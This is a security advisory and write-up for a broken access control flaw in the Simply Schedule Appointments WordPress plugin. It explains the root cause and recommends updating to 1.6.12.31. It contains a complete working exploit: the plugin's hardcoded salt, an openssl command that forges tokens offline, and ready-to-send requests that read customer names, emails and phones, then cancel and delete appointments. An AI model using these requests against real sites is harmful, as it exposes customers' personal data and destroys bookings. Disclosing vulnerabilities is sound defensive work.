CVE-2026-94074: Unauthenticated Broken Access Control in Simply Schedule Appointments WordPress Plugin
| CVE | CVE-2026-94074 |
| Plugin | Simply Schedule Appointments (simply-schedule-appointments) |
| Affected | <= 1.6.12.29 |
| Fixed in | 1.6.12.31 |
| Severity | CVSS 6.5 Medium |
| Attacker needs | no account |
| Advisory | Patchstack |
| PoC | Mor-Golan/CVE-2026-94074 |
Summary
Simply Schedule Appointments serves appointment records through the REST route /ssa/v1/appointments, protected by a per appointment token.
I found that an unauthenticated attacker can forge a valid token for any appointment offline, with no knowledge of the record, simply by sending the id in a float form such as 1.9.
The response returns the customer’s name, email address and phone number together with the appointment’s genuine public_token, which the plugin then accepts to modify and delete the same appointment.
I tested on 1.6.12.24 with a stock configuration, and the only precondition is that at least one appointment exists, which is the plugin’s ordinary use.
Root cause
Two defects combine.
A signing key that ships with the plugin
Legacy appointment tokens are checked by SSA_Db_Model::verify_id_token(), which computes the expected value with SSA_Utils::deprecated_hash() in includes/class-utils.php (lines 138 to 143):
public static function deprecated_hash( $string ) {
if ( defined( 'SSA_AUTH_SALT' ) ) {
$salt = SSA_AUTH_SALT;
} else {
$salt = '6U2aRk6oGvAZAEXstbFNMppRF=D|H.NX!-gU:-aXGVH<)8kcF~FPor5{Z<SFr~wKz';
}
return hash_hmac('md5', $string, $salt);
}
SSA_AUTH_SALT is never defined anywhere in the plugin.
The only occurrences are the defined() checks and one comment.
On a stock install the HMAC key is therefore the literal string above, which is present in every copy of the plugin downloaded from wordpress.org.
Its sibling site_unique_hash() (lines 98 to 108) falls back to the per site AUTH_SALT instead, but this function does not.
The plugin’s own comment in includes/class-db-model.php (lines 326 to 329) acknowledges this: The deprecated salt is in public source, so brute-force against date_created is the only remaining barrier. That barrier is a token bound to id . date_created, so an attacker would need the row’s creation time to the second, with guesses throttled to 5 attempts per 15 minutes (lines 329 to 341).
A type mismatch that removes the date binding
get_string_to_tokenize() in includes/class-db-model.php (lines 262 to 277) builds the string that gets signed.
It appends date_created only when the row lookup succeeds:
$string_to_tokenize = $id;
$model_entity = $this->get( $id, -1 );
if ( ! empty( $model_entity['date_created'] ) ) {
$string_to_tokenize .= $model_entity['date_created'];
}
That lookup binds the id as a string, so id=1.9 becomes WHERE id = '1.9'.
The id column is BIGINT(20) UNSIGNED, so no row matches and date_created is never appended.
The query that selects the data returned to the caller uses intval(), so the same input becomes id IN (1) and matches appointment 1.
The two lookups disagree, and the attacker controls the input that makes them disagree.
The expected token collapses to HMAC_md5('1.9', <public salt>), which anyone can compute offline.
The throttle never engages because the first guess is already correct.
From read to write
The read response includes each row’s genuine public_token (includes/class-appointment-model.php, lines 2313 to 2315).
That is the credential the update and delete permission checks expect, so one forged read hands the attacker everything needed to change or remove the appointment.
In 1.6.12.24 the branch of verify_id_token() that accepts these legacy tokens is gated by a date check (lines 319 to 322 of includes/class-db-model.php) that keeps it active until 2026-09-30.
Proof of concept
My lab ran WordPress 7.0.2, PHP 8.2.32 and MariaDB 11.8.8 with Simply Schedule Appointments 1.6.12.24 in its stock configuration and no other plugins.
It held one booked appointment with id 1.
Every request below was sent with no cookie, no nonce and no account.
Appointment ids are sequential small integers starting at 1.
Step 1.
Compute the token offline. No request to the target is needed.
printf '%s' "1.9" | openssl dgst -md5 \
-hmac '6U2aRk6oGvAZAEXstbFNMppRF=D|H.NX!-gU:-aXGVH<)8kcF~FPor5{Z<SFr~wKz' -r
# f462534704182b198a28544437f5925f
Step 2.
Read the appointment.
GET /?rest_route=/ssa/v1/appointments&id=1.9&token=f462534704182b198a28544437f5925f HTTP/1.1
Host: localhost:8080
The response is HTTP 200 (trimmed here):
{"response_code":200,"error":"","data":[{"id":"1","appointment_type_id":"1", ...
"customer_information":{"name":"Victim Customer","email":"victim@example.invalid",
"phone":"+441234567890", ...},
"start_date":"2026-10-01 10:00:00", ... "status":"booked",
"date_created":"2026-09-08 12:34:56", ...
"public_token":"d23ed00f072fc0bb887aaf70129a1a45", ...}]}
Step 3.
Modify it with the harvested token.
GET /?rest_route=/ssa/v1/appointments/1&_method=POST&token=d23ed00f072fc0bb887aaf70129a1a45&status=canceled HTTP/1.1
Host: localhost:8080
The response is HTTP 200 and the returned record now shows "status":"canceled".
Step 4.
Delete it.
GET /?rest_route=/ssa/v1/appointments/1/delete&_method=POST&token=d23ed00f072fc0bb887aaf70129a1a45 HTTP/1.1
Host: localhost:8080
The response is HTTP 200 with the body {"response_code":200,"error":"","data":true}.
Controls
Each control is the same request with one thing changed, also sent anonymously.
| Request | Result |
|---|---|
id=1 with no token |
401 rest_forbidden |
id=1 with a token of 32 zeroes |
401 rest_forbidden |
id=1 with HMAC('1') = b523ccd6e65231a7b3226919f183816a |
401 rest_forbidden |
id=1.9 with HMAC('1.9') = f462534704182b198a28544437f5925f |
200 with the customer data |
| delete of appointment 1 with a token of 32 zeroes | 401 rest_forbidden |
The third row is the control that isolates the bug.
With a plain integer id the forged token fails, because date_created really is part of the signed string.
Only the float form removes it, so this is a specific type mismatch and not just a consequence of the public salt.
The PoC repository has a script that runs the controls and all four steps: Mor-Golan/CVE-2026-94074.
It ends by deleting the appointment, so run it only against a lab.
Impact
In my lab, an anonymous client with no cookies:
- read the customer name, email address, phone number, notes and booking times of appointment 1 with a single request
- received that appointment’s genuine
public_tokenin the same response - used the token to change the appointment’s status from
bookedtocanceled - used it again to delete the appointment, after which the
wp_ssa_appointmentstable went from one row to zero
I repeated the read from a fresh browser context holding zero cookies against a second appointment, using id=2.9 with its offline token 89f5c6830b5350132b833a9104bf6a2a, and got the same customer fields back.
The full script also ran end to end against that appointment, with every control refused and every exploit step returning 200.
The forged token depends only on the id, and ids are sequential small integers, so the same request works for every appointment on the site.
No setting, premium edition or companion plugin is needed, and no administrator or customer has to interact with anything.
Fix
Update Simply Schedule Appointments to 1.6.12.31 or later.
The chain needs both defects: the legacy HMAC key falling back to a literal that ships with the plugin, and the string versus integer mismatch between the token lookup and the data query.
Removing either one stops the single request forgery described here.
Timeline
- 2026-09-08: I found the issue and confirmed it on 1.6.12.24 in a local lab.
- 2026-09-30: CVE published.